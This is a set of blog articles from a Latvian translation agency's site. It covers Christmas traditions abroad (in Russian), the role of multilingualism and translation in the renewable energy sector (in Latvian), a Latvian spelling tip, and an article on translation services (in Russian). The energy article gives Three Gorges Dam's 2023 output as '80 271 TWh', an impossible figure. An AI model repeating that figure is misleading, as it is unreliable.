Санта-Кон, появившаяся в 1994 году. Люди собираются в центральной части городов в костюмах Санта-Клауса, совместно празднуют и участвуют в парадах. Крупнейшая вечеринка Санта-Кон проходит каждый год в Нью-Йорке. РОЖДЕСТВЕНСКАЯ ВЕДЬМА В ИТАЛИИ В Италии роль Санта-Клауса часто принимает на себя Ла Бефана – старушка, путешествующая на метле. В ночь на 5 января добрая ведьма посещает всех детей и дарит подарки тем, кто хорошо себя вел, оставляя лук и чеснок для непослушных. Как и Санта-Клаус, Ла Бефана проникает в дома через дымоход и лакомится угощениями, оставленными детьми, – обычно вином и местными деликатесами. РОЖДЕСТВЕНСКИЕ ПЕСНОПЕНИЯ С БАРАБАНАМИ В ПУЭРТО-РИКО Подобно рождественским колядкам в Америке, пуэрториканцы выходят на улицы около 22:00, чтобы спеть традиционные рождественские песни. Это гораздо громче и веселее, чем можно ожидать, поскольку колядование проходит в сопровождении различных традиционных инструментов: гитар, тамбуринов и барабанов. РИСОВАЯ КАША И САУНА В ФИНЛЯНДИИ Все знают традиционные рождественские блюда, но в Финляндии есть своя традиционная еда для рождественского утра – сытная рисовая молочная каша с корицей и маслом. Финны известны своей любовью к сауне, и они готовы париться в любое время, даже в канун Рождества. В Финляндии существует традиция посещать сауну и очищать тело, перед тем как сесть за рождественский стол и отмечать праздник. НА КОНЬКАХ В ВЕНЕСУЭЛЬСКУЮ ЦЕРКОВЬ Посещение церкви на Рождество не является чем-то новым, однако в Венесуэле существует традиция отправляться на Рождественскую мессу на роликовых коньках. Улицы зачастую перекрываются для движения автомобилей, чтобы можно было увидеть уникальное праздничное зрелище – роликовых конькобежцев, направляющихся в церковь. Считается, что катание на роликах стало таким популярным в Венесуэле в праздничный сезон, потому что там нет снега, а использовать сани или лыжи не представляется возможным. 13 ДНЕЙ ПОДАРКОВ И ЙОЛЬСКИЙ КОТ В ИСЛАНДИИ В то время как мы отсчитываем время до Рождества с помощью венков и календарей адвента, Исландия живет в предвкушении праздника с 12 декабря – в общей сложности 13 дней. В Исландии считается, что каждый из этих дней посвящен одному из тринадцати Йоласвейнаров – персонажей, напоминающих бородатых мужчин, возможно, родственных троллям из традиционного фольклора. Эти существа посещают детей в течение 13 ночей перед Рождеством, оставляя подарки или гнилую картошку, в зависимости от поведения ребенка. Угощения кладут в рождественские чулки, висящие у окна. Но это еще не всё! В рождественский сезон по заснеженным полям бродит гигантский Йольский кот, пожирающий всех, кто не купил в эту пору новую одежду. И сегодня в Исландии существует традиция покупать одежду на Рождество, чтобы избежать неприятной участи. ПРЯТАТЬ МЕТЛЫ В НОРВЕГИИ У норвежцев есть традиция в канун Рождества прятать все метлы в доме, потому что в эту ночь просыпаются ведьмы, злые духи и другие озорные существа и ищут метлы, чтобы потом путешествовать по всей стране и разыгрывать людей. Ziņu izvēlne Читайте нашу прошлую статьюValsts ieņēmumu dienestsЧитайте нашу новую статьюValsts sociālās apdrošināšanas aģentūra --- > Daudzvalodības nozīme atjaunīgās enerģijas iegūšanā: globāla sadarbība, tehnoloģiju attīstība un ilgtspējīga nākotne. Uzzini vairāk! - Published: 2024-11-14 - Modified: 2025-07-16 - URL: https://skrivanek.lv/daudzvalodibas-nozime-atjaunigas-energijas-iegusana/ - Kategorijas: Raksti - Translation Priorities: Optional DAUDZVALODĪBAS NOZĪME ATJAUNĪGĀS ENERĢIJAS IEGŪŠANĀ Klimats mainās. Dabas resursi izsīkst. Pāreja uz ilgtspējīgu atjaunīgo enerģiju vairs nav izvēle, tā ir nepieciešamība. 2023. gadā vairāk nekā 30% no pasaulē saražotās enerģijas (saskaņā ar “The Guardian”) un 44,7% no Eiropā saražotās enerģijas (saskaņā ar Eurostat datiem) tika iegūta no atjaunīgiem enerģijas avotiem. Taču kāds sakars daudzvalodībai ar atjaunīgo enerģiju? Globalizācija ir tuvinājusi valstis un uzņēmumus cīņā ar negatīvajām klimata pārmaiņu sekām. Valstis un uzņēmumi cieši sadarbojas, lai izstrādātu modernas atjaunīgās enerģijas ieguves tehnoloģijas, kas ne tikai veicinātu inovācijas, radītu jaunas darbavietas, bet konceptuāli mainītu enerģijas ražošanas un patēriņa veidus. Šobrīd atjaunīgās enerģijas nozare ir viena no straujāk augošajām nozarēm, kurā tiek nodarbinātas zinātnieku komandas no visas pasaules. Mācīšanās no citu pieredzes ir atslēga uz panākumiem enerģētikas jomā, jo, meklējot līdzīga veida projektus, konsultējoties ar citiem līdzīgu projektu izpildītājiem, kā arī uzrunājot jomas ekspertus, ir iespējams uzzināt starptautisku pieredzi. Ir ļoti svarīgi uzzināt gan veiksmes faktorus, gan problēmas un pieļautās kļūdas, jo tādējādi var plānot un realizēt veiksmīgi savas iecerētās darbības. Un iepazīšanos ar starptautisko pieredzi nodrošina tulkošanas pakalpojumu izmantošana. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt ATJAUNĪGO ENERGORESURSU IEGUVES TEHNOLOĢIJAS UN VIDES AIZSARDZĪBA Atjaunīgo energoresursu ieguves tehnoloģijas palīdz samazināt oglekļa emisijas un cīnīties pret negatīvajām klimata pārmaiņām. Atšķirībā no fosilā kurināmā tās ir praktiski neizsmeļamas. Valstis, kas investē atjaunīgās enerģijas ieguves tehnoloģijās, ne tikai samazina atkarību no fosilā kurināmā importa, bet arī stiprina savu enerģētisko neatkarību un drošību. Pasaulē atjaunīgo enerģiju galvenokārt iegūst no saules, vēja un ūdens enerģijas, taču Latvijā galvenie atjaunīgie energoresursi (AER) ir kurināmā koksne (malka, koksnes atlikumi, kurināmā šķelda, koksnes briketes, koksnes granulas) un hidroresursi. 2015. gadā 195 pasaules valstis apstiprināja pirmo juridiski saistošo pasaules mēroga vienošanos klimata jomā – Parīzes nolīgumu. Parīzes nolīguma ietvaros dalībvalstīm ir jāsamazina radītās siltumnīcefekta gāzu (SEG) emisijas. Eiropas Savienība šo mērķi ir pastiprinājusi ar vērienīgu plānu – Eiropas zaļo kursu (Green Deal), kas nosaka, ka līdz 2050. gadam Eiropas Savienība apņemas kļūt par pirmo klimatneitrālo pasaules daļu jeb līdzsvarot Eiropas Savienībā radīto SEG emisiju apjomu ar uztvertajām emisijām. Fotogalvaniskie paneļi pārvērš saules gaismu tieši elektrībā. Saules sistēmas silda ūdeni vai dzīvojamās telpas, izmantojot saules starojumu. Milzīgas saules enerģijas saimniecības saulainos apgabalos, piemēram, Kalifornijā, ražo tūkstošiem megavatu elektroenerģijas. Vēja turbīnas pārvērš vēja kinētisko enerģiju elektrībā. “Hornsea One” vēja ģeneratoru parks Apvienotajā Karalistē ražo elektroenerģiju vairāk nekā miljonam mājsaimniecību. Tas ir lielākais jūras vēja ģeneratoru parks pasaulē. Hidroelektrostacijās elektroenerģijas ražošanai izmanto krītoša vai tekoša ūdens enerģiju. Triju aizu dambis (“Three Gorges Dam”) Ķīnā ir pasaulē lielākā hidroelektrostacija pēc jaudas. Tā ir 185 metrus augsta, spēj aizturēt ūdeni 175 metru augstumā un stiepjas vairāk nekā 2,3 kilometrus. 2023. gadā tā saražoja 80 271 TWh enerģijas. 2023. gadā Latvijā saražoja 4963 GWh elektroenerģijas no atjaunīgajiem energoresursiem (AER), liecina Centrālās statistikas pārvaldes dati. Salīdzinājumā ar 2022. gadu saražotais apjoms no AER palielinājās par 30,0% (par 1146 GWh). Piemēram, VES (vēja elektrostacijās) un SES (saules elektrostacijās) 2023. gadā saražots par 92,5% vairāk elektroenerģijas nekā 2022. gadā. Lielāko daļu saražotās AER elektroenerģijas nodrošināja Latvijā lielākā hidroelektrostacija (HES) – Daugavas HES –, kur saražoja 3725 GWh elektroenerģijas, kas ir aptuveni 75% no kopā Latvijā saražotās AER elektroenerģijas. ATJAUNĪGO ENERGORESURSU IEGUVES TEHNOLOĢIJU GLOBĀLAIS TIRGUS Daudzvalodība veicina ciešu starptautisku sadarbību. Pasaules atjaunīgo enerģijas tehnoloģiju tirgus aug ievērojamā tempā. 2023. gadā investīcijas atjaunīgās enerģijas nozarē pārsniedza 619 miljardus ASV dolāru, kas ir par 8% vairāk nekā iepriekšējā gadā. Ķīna, kas ir pasaules līdere, uzstādīja vairāk nekā 150 GW jaunu saules enerģijas jaudu, tādējādi dubultojot saražotās enerģijas jaudu salīdzinājumā ar 2022. gadu. Eiropa palielināja vēja enerģijas ražošanas jaudu, uzstādot 17 GW jaunu turbīnu. Tehniskās dokumentācijas, normatīvo aktu, zinātnisko publikāciju, pētījumu un visbeidzot lietotāja rokasgrāmatu tulkošana ir būtiska, lai vietēja un starptautiska mēroga projekti tiktu īstenoti raiti un bez liekas kavēšanās. Profesionāli un korekti šauras specializācijas tulkojumi nodrošina, ka sarežģīta tehniskā informācija tiek pareizi interpretēta un adaptēta katras valsts likumiem un tirgus vajadzībām. Kā zināms, tehniskā un zinātniskā tulkošana bieži ir saistīta arī ar jaunas terminoloģijas jaunradi un to veiksmīgu iedzīvināšanu profesionāļu vidū un sabiedrībā kopumā. STARPTAUTISKĀ SADARBĪBA EIROPAS SAVIENĪBĀ Starptautiskā politiskā un zinātniskā sadarbība palīdz rast inovācijas videi draudzīgas enerģijas iegūšanai. Dažādos Eiropas reģionos kaimiņvalstis vienojas kopējiem izaicinošiem projektiem. Viens no piemēriem ir Ziemeļjūras vēja enerģijas centrs, kas apvieno Vācijas, Nīderlandes un Dānijas zināšanas un spēkus. Tas ietver milzīgas vēja enerģijas parka būvniecību Ziemeļjūrā. Galu galā šī spēkstacija apgādās ar atjaunīgu elektroenerģiju Rietumeiropas ekonomiskos centrus. DESERTEC projekta mērķis ir izveidot saules un vēja enerģijas elektrostaciju tīklu Sahāras reģionā, kas piegādās enerģiju Eiropai un Ziemeļāfrikai. Šīs iniciatīvas mērķis ir veicināt atjaunīgās enerģijas ieguves un atbalsta tehnoloģijas un sociālekonomisko attīstību tuksneša reģionos. Eiropas enerģētikas tīkls aptver atjaunīgās enerģijas ieguves avotus no dažādām Eiropas valstīm. Tas optimizē energoresursu izmantošanu un nodrošina energoapgādes stabilitāti. Šis projekts veicina enerģijas uzglabāšanas tehnoloģiju attīstību. TERMINOLOĢIJAS PRECIZITĀTE ATJAUNĪGĀS ENERĢIJAS IEGUVES TEHNOLOĢIJU JOMĀ Atjaunīgās enerģijas ieguves tehnoloģiju attīstība lielā mērā balstās Eiropas dalībvalstu un projektu partneru ciešā sadarbībā zinātnē un pētniecībā, un šis darbs nav iedomājams bez terminoloģijas izaicinājumiem. Projektos ir iesaistīti partneri no dažādām valstīm. Ja nav vienprātības terminu lietošanā, var viegli pieļaut rupjas kļūdas. Tas var palēnināt vai pat apturēt projektu attīstības gaitu. Problēmas nereti rodas jau plānošanas posmā. Atšķirības tehnisko specifikāciju interpretācijā var radīt nopietnus pārpratumus iepirkumu vai sarunu procedūru gaitā. Neprecīzi iztulkotu tehnisko dokumentu dēļ var tikt nepareizi uzstādītas iekārtas, iepirkti nepareizi materiāli, pieņemti nekorekti normatīvie akti, kas savukārt sadārdzina izmaksas un rodas nepieciešamība veikt papildu darbus. TEHNISKAIS TULKOJUMS ATJAUNĪGO ENERGORESURSU TEHNOLOĢIJU JOMĀ Tehniskajiem tulkojumiem atjaunīgo energoresursu tehnoloģiju jomā sevišķi svarīga ir padziļināta izpratne par specializētās terminoloģijas pareizu lietojumu. Katrai tehnoloģijai – vai tie būtu saules paneļi, vēja turbīnas vai energopārvaldības sistēmas – ir savs specifisks vārdu krājums un tehniskie un kvalitātes standarti, kas tulkotājam jāpārzina, pirms sākt darbu. Tehniskā dokumentācija šajā nozarē ietver lietotāja rokasgrāmatas, iekārtu specifikācijas, akadēmisko literatūru, kā arī pētījumu un testēšanas pārskatus. Nekorekts vai aplams tulkojums rada nopietnas kļūdas. Nekorekta iekārtu uzstādīšana vai ekspluatācija var izraisīt kļūmes. Tulkotāji, kuri specializējas atjaunīgās enerģijas ieguves tehnoloģiju jomā, ir padziļināti studējuši tehnisko tulkošanu un terminoloģiju. Speciālistu uzdevums ir precīzi tulkot tekstu, vienlaikus nodrošinot konsekvenci un atbilstību nozares ISO, IEC un LVS standartiem. Tulkotājs cieši sadarbojas ar nozares ekspertiem un vienojas par piemērotāko termina skaidrojumu. Kad produkti un pakalpojumi nonāk jaunā tirgū, tie ir jālokalizē un jāpielāgo vietējai kultūrai un saziņai. Tātad šie produkti un pakalpojumi ir kvalitatīvi jāpārtulko un jālokalizē atbilstoši vietējās valodas, kultūras un tiesību normām. Piemēram, uzņēmums, kas ražo saules paneļus, vēlas iekļūt Japānas tirgū. Ar augstas kvalitātes paneļiem vien nepietiks, ja lietotāja rokasgrāmatas, tehniskā dokumentācija un mārketinga materiāli nebūs profesionāli tulkoti japāņu valodā. Ignorējot šo soli, klientiem var rasties grūtības ar saules paneļu uzstādīšanu un lietošanu. Taču precīza un korekta tehnisko dokumentu un informācijas resursu lokalizācija veicina uzticēšanos zīmolam un produktam, turklāt palielina arī klientu apmierinātību un rada pozitīvu iespaidu. VALODU PAKALPOJUMI ILGTSPĒJĪGAI NĀKOTNEI Turpmāk ir minēti piemēri, kas izceļ daudzvalodības nozīmi, kā arī ieguvumus atjaunīgās enerģijas nozarē. STARPTAUTISKĀ ATJAUNĪGĀS ENERĢIJAS AĢENTŪRA (IRENA) IRENA veicina atjaunīgās enerģijas izmantošanu visā pasaulē. Aģentūra savas publikācijas, saziņas materiālus un konferenču saturu publicē vairākās valodās, tādējādi aģentūra sasniedz plašāku auditoriju un paplašina sava darba ietekmi. GADĪJUMU IZPĒTE PAR PĀREJU UZ AKMEŅOGĻU IZMANTOŠANU Ilgtspējīgas nākotnes institūts (Institute for Sustainable Futures, ISF) un Ilgtspējīgas attīstības studiju institūts (Institute for Advanced Sustainability Studies, IASS) veica gadījumu izpēti par kopienām, kas pāriet no ogļu izmantošanas uz atjaunīgo enerģiju. Šie pētījumi uzsver, cik svarīgi ir integrēt dažādas perspektīvas un pieejas. Veiktās gadījumu izpētes notiek lielākajā daļā pasaules, tāpēc tulkot gadījumu izpētes, uzzināt informāciju no citiem reģioniem sev saprotamā valodā, kā arī daudzvalodu saziņa pati par sevi palīdz izprast un ņemt vērā vietējo sociālpolitisko kontekstu un gūt sabiedrības atbalstu atjaunīgo energoresursu izmantošanā un jaunu saules un/vai vēja parku izveidei. EIROPAS SAVIENĪBAS INICIATĪVAS Eiropas Savienības daudzvalodu digitālā platforma konferencei par Eiropas nākotni ļauj visu dalībvalstu iedzīvotājiem piedalīties diskusijās par enerģētikas nozari un ilgtspējīgu attīstību viņu dzimtajā valodā. Šī platforma veicina ideju apmaiņu, dod iespēju dažādās valodās runājošām grupām sniegt ieguldījumu atjaunīgās enerģijas nākotnes veidošanā Eiropā un rast inovatīvus risinājumus. UZŅĒMĒJU ZAĻO UN TEHNOLOĢISKO RISINĀJUMU INTEGRĒŠANA Daudzvalodība nodrošina efektīvu zināšanu nodošanu un sadarbību starp zinātniekiem, inženieriem un nozares ekspertiem – ļaujot nodrošināt visu nepieciešamo ilgtspējīgākai nākotnei: dalīties ar labāko praksi un tehniskajām zināšanām un zinātību, neskatoties uz valodas barjerām; veidot starptautiskas pētniecības partnerības un kopīgus projektus; plašākai auditorijai piedalīties ar atjaunīgo enerģiju saistītās globālās konferencēs un forumos. Saziņa vairākās valodās atvieglo atjaunīgo energoresursu tehnoloģiju un mācību materiālu lokalizāciju dažādiem tirgiem. Tas ietver: tehnisko rokasgrāmatu, drošības vadlīniju un darba procedūru tulkošanu; darba ņēmēju un speciālistu apmācību un izglītošanu vietējās valodās; mārketinga un informatīvo materiālu pielāgošanu vietējās valodas un kultūras kontekstam. Daudzvalodība palīdz orientēties starptautiskajā un vietējā politikā saistībā ar atjaunīgo enerģiju. Tas atvieglo: globālo nolīgumu par cīņu pret negatīvajām klimata pārmaiņām un atjaunīgo enerģiju pozitīvās ietekmes izpratni un īstenošanu; starptautisko ieinteresēto personu informēšanu par valsts politiku un noteikumiem; atbilstību vietējām normatīvajām prasībām dažādos reģionos. Sabiedrības atbalsta iegūšana, informējot par atjaunīgo energoresursu tehnoloģiju priekšrocībām un ietekmi. Tas ietver: sabiedrisko apspriešanu un ieinteresēto personu iesaistīšanu vietējās valodās; ietekmes uz vidi novērtējumu un informatīvo materiālu tulkošanu; informācijas resursu nodrošināšanu, lai kliedētu bažas un aplamu priekšstatu par atjaunīgo enerģiju. Uzņēmumi, kas darbojas atjaunīgo energoresursu jomā, cenšas paplašināt darbību jaunos tirgos un piesaistīt starptautiskas investīcijas, bet, lai sekmīgi realizētu šos mērķus, uzņēmumiem jākoncentrējas uz: biznesa plānu, finanšu pārskatu un investīciju piesaistes plānu tulkošanu; valodas barjeras sagraušanu ar sinhronās vai secīgās tulkošanas palīdzību sarunās par līgumiem, potenciālajām partnerattiecībām; produktu un pakalpojumu mārketinga materiālu tulkošanu dažādu valodu auditorijām. TULKOŠANAS PAKALPOJUMI ENERĢĒTIKAS NOZAREI Vai jūsu uzņēmums darbojas atjaunīgo energoresursu tehnoloģiju nozarē? Plānojat iekļūt jaunos starptautiskos tirgos? Skrivanek tulkošanas birojs specializējas tehniskajos tulkojumos, kas pielāgoti atjaunīgās enerģijas nozarei. Mēs tulkojam tehnisko dokumentāciju, lietotāja rokasgrāmatas un pētījumu pārskatus, pievēršot uzmanību katrai detaļai. Mūsu tulkotāji ir speciālisti ar pieredzi atjaunīgās enerģijas nozarē, viņi pārzina nozares specifiku un terminoloģiju, kā arī sadarbojas ar šīs jomas speciālistiem, lai atrastu precīzākos terminus. Mēs pielāgojam un lokalizējam saturu vietējiem tirgiem, ņemot vērā kultūras un valodas kontekstu, lai nodrošinātu, ka jūsu tehnoloģijas tiek uztvertas atbilstoši jūsu vēlmēm jebkurā pasaules vietā. Sazinieties ar mums, mēs sniegsim bezmaksas piedāvājumu, vai piesakieties tiešsaistes konsultācijai, un mēs palīdzēsim atrast pareizo risinājumu atbilstoši jūsu vēlmēm un iespējām. Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju. Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju. Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus. Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama. Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni. Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas. Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus. --- > Kvadrobers vai kvadroberis – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-11-14 - Modified: 2024-11-14 - URL: https://skrivanek.lv/kvadrobers-vai-kvadroberis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KVADROBERS VAI KVADROBERIS 1 Pavisam nesen mūsu uzmanību pievērsa sižets par kvadroberiem Latvijā. Kas tie tādi ir? Kvadroberi ir jaunieši, kuri fiziskās aktivitātes apvienojuši ar lomu spēlēm, papildinot tās ar dzīvnieku pasaules elementiem. Šādu fizisko aktivitāti sauc par kvadrobātiku. Galvenā atšķirība no citām ar dzīvnieku pasauli saistītajām subkultūrām (piemēram, furiji, teriani) – kvadroberu uzvedības un uzmanības centrā ir fiziskā kustība un aktivitāte. Bet kā rakstīsim pareizi – kvadrobers vai kvadroberis? Latviešu valodā pagaidām nav noteikti vienoti principi, pēc kuriem terminiem vai jēdzieniem piešķir vienu vai otru galotni. Visbiežāk piemēro labskanības vai tradīcijas principu, ja tāds ir attiecināms. Tiesa, arī apstiprinātie termini ne vienmēr tiek lietoti tā, kā tas būtu pareizi, īpaši locījumos. Piemēram, termina "dizainers" izskaņa ir "-ers", taču reti dzirdēsiet kādu sakām: "Es vakar satikos ar dizaineru! "Apzīmējumam "kvadrobers" pagaidām nav oficiāli apstiprināta viena vai otra izskaņa. Pamatojoties uz labskanības principu, aicinām izmantot izskaņu "-ers" nominatīvā un attiecīgi locīt vārdu citos locījumos: kvadrobers/kvadrobere, kvadrobera/kvadroberes, kvadroberam/kavdroberei, ar kvadroberu/ar kavdroberi, kvadroberā/kavdroberē. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Что такое перевод? Какие услуги предоставляют бюро переводов и как выбрать бюро переводов? Читайте здесь! Свяжитесь с Skrivanek. - Published: 2024-11-13 - Modified: 2024-11-15 - URL: https://skrivanek.lv/tulkosana-kadel-to-uzticet-profesionaliem/ - Kategorijas: Raksti - Translation Priorities: Optional ПЕРЕВОД: ЗАЧЕМ ОБРАЩАТЬСЯ К ПРОФЕССИОНАЛАМ? ЧТО ТАКОЕ УСЛУГИ ПЕРЕВОДА? Язык – один из самых важных инструментов для продвижения по жизни: с его помощью мы передаем информацию, выражаем эмоции, высказываем идеи и мнения, формируем профессиональные и личные отношения, а также используем язык, чтобы думать. В мире, где существует свыше 4000 языков,на каждом из которых говорят более 1000 человек, услуги перевода играют важную роль в поддержании быстрой, качественной и безошибочной коммуникации и информационного потока между людьми, компаниями и клиентами, деловыми партнерами, государственными учреждениями и т. д. Сегодня бюро переводов предоставляют различные профессиональные услуги, которые включают не только перевод письменной и устной информации с одного языка на другой, но и нотариально заверенный перевод, создание или адаптацию/локализацию контента (реклама, домашняя страница, SEO и т. д. ), техническую помощь при проведении онлайн-мероприятий, а также форматирование или оцифровку документов. БЮРО ПЕРЕВОДОВ – ПРОФЕССИОНАЛИЗМ И ОПЫТ При реализации важных документов, сложных проектов и работ сотрудничество с поставщиком переводческих услуг неоценимо. В хорошем, сертифицированном бюро переводов работают высококвалифицированные и аккредитованные специалисты, имеющие соответствующее образование, навыки и опыт работы в своей сфере, а также не только владеющие языками, но и обладающие знаниями в других областях, чтобы работать с документами и текстами различной тематики и сложности. Если вам нужен перевод для конкретной области, важно, чтобы устный или письменный переводчик также знал терминологию и языковой этикет. Профессиональные переводчики имеют доступ к различным словарям, онлайн-ресурсам и передовому программному обеспечению для обеспечения точности перевода. Сотрудничая с бюро переводов, вы получаете доступ к услугам профессионалов высокого уровня, владеющих самыми разными языками, а также неоценимую поддержку в управлении проектами, что гарантирует качество, постоянное соблюдение сроков и экономию времени и денег в долгосрочной перспективе. Цена перевода обычно рассчитывается исходя из количества слов в тексте на исходном языке (в оригинале), однако на нее также может повлиять срок выполнения. Обычно заказчик согласовывает сроки выполнения перевода с бюро переводов, но можно подсчитать, что перевод до 500 слов занимает в среднем один полный рабочий день, а перевод 1000 слов – не менее полутора рабочих дней. ПИСЬМЕННЫЙ ПЕРЕВОДЧИК VS УСТНЫЙ ПЕРЕВОДЧИК Существует два типа переводчиков: устные переводы осуществляют устные переводчики, письменные переводы – письменные переводчики. Письменный перевод включает перевод документов, договоров, счетов, рекламных текстов и текстов для веб-сайтов, книг, научных публикаций и других текстов. Обычно бюро переводов указывают области и отрасли, в которых они работают, например медицина, юриспруденция, экономика, сельское хозяйство, поскольку это означает, что переводчик также должен ориентироваться в конкретной сфере, чтобы перевод был качественным и использовалась последовательная и правильная терминология. Устный перевод можно разделить на два типа: синхронный и последовательный. Синхронный перевод означает, что перевод выполняется одновременно с речью выступающего, поэтому он часто используется на семинарах, конференциях и деловых мероприятиях, а иногда и во время культурных мероприятий, театральных представлений или кинопоказов. На таких мероприятиях переводчики работают в основном со специальным оборудованием. Пока оратор выступает перед аудиторией, переводчик, сидя в звуконепроницаемой кабине, выполняет перевод, а участники мероприятия слушают перевод через наушники. Последовательный перевод – это взаимодействие между выступающим и переводчиком: переводчик слушает, что говорит выступающий на одном языке, а затем переводит его речь на другой язык. Данный вид перевода используется на небольших деловых встречах или презентациях. ПЕРЕВОДЫ ДОКУМЕНТОВ Перед поездкой в любую страну, где необходимо представить соответствующий документ в учреждение, рекомендуется заранее выяснить, нужно ли заверять документ апостилем. Если вам требуется перевод официального документа, например свидетельства о рождении, свидетельства о браке, диплома об образовании, аттестата или доверенности, выданных государством, узнайте заранее, предлагает ли бюро переводов нотариально заверенный перевод документов. Нотариальное заверение легализует переведенный документ, поэтому квалифицированный переводчик заверяет перевод своей подписью и принимает на себя ответственность за точность перевода, а присяжный нотариус заверяет подпись переводчика. Следует отметить, что только документы, выданные в Латвийской Республике, могут быть заверены апостилем у присяжного нотариуса. УСЛУГИ ПЕРЕВОДА И КОРРЕКТУРЫ Любой письменный текст также требует корректуры и редактирования. Бюро переводов обычно сотрудничает с корректорами и редакторами, чтобы переводы проверяли другие специалисты в области языка, обращая внимание на грамматику, стилистические нюансы, построение предложений и их последовательность. Бюро переводов часто предлагают услугу корректуры, включенную в стоимость перевода. Бюро переводов Skrivanek также гарантирует, что каждый перевод будет проверен корректором, который является носителем целевого языка – это гарантирует четкость и грамматическую правильность перевода. ЛОКАЛИЗАЦИЯ ПЕРЕВОДОВ Клиентам часто требуется не только перевод, но и локализация и адаптация перевода для целевой аудитории. Для того чтобы профессионально и точно передать информацию об истории компании, ее ценностях, миссии или технических особенностях продукта на целевом языке, важно передать данную информацию в соответствующей интонации, а также выбрать подходящую лексику, фразеологизмы и термины. В таких отраслях, как реклама и маркетинг, перевод основан на адаптации. Исследования в области переводов и важности их адаптации для охвата целевой аудитории показывают, что, несмотря на доминирование английского языка в мире, рекламная кампания или веб-сайт, переведенные и адаптированные к целевому языку, достигают лучших результатов. Например, на рекламные объявления в Facebook с локализованной копией объявлений на 22 % чаще нажимают женщины и на 87 % – мужчины; 46 % поисковых запросов в Google касаются местной информации на национальном языке; 75 % потребителей с большей вероятностью рассмотрят возможность покупки, если услуга будет 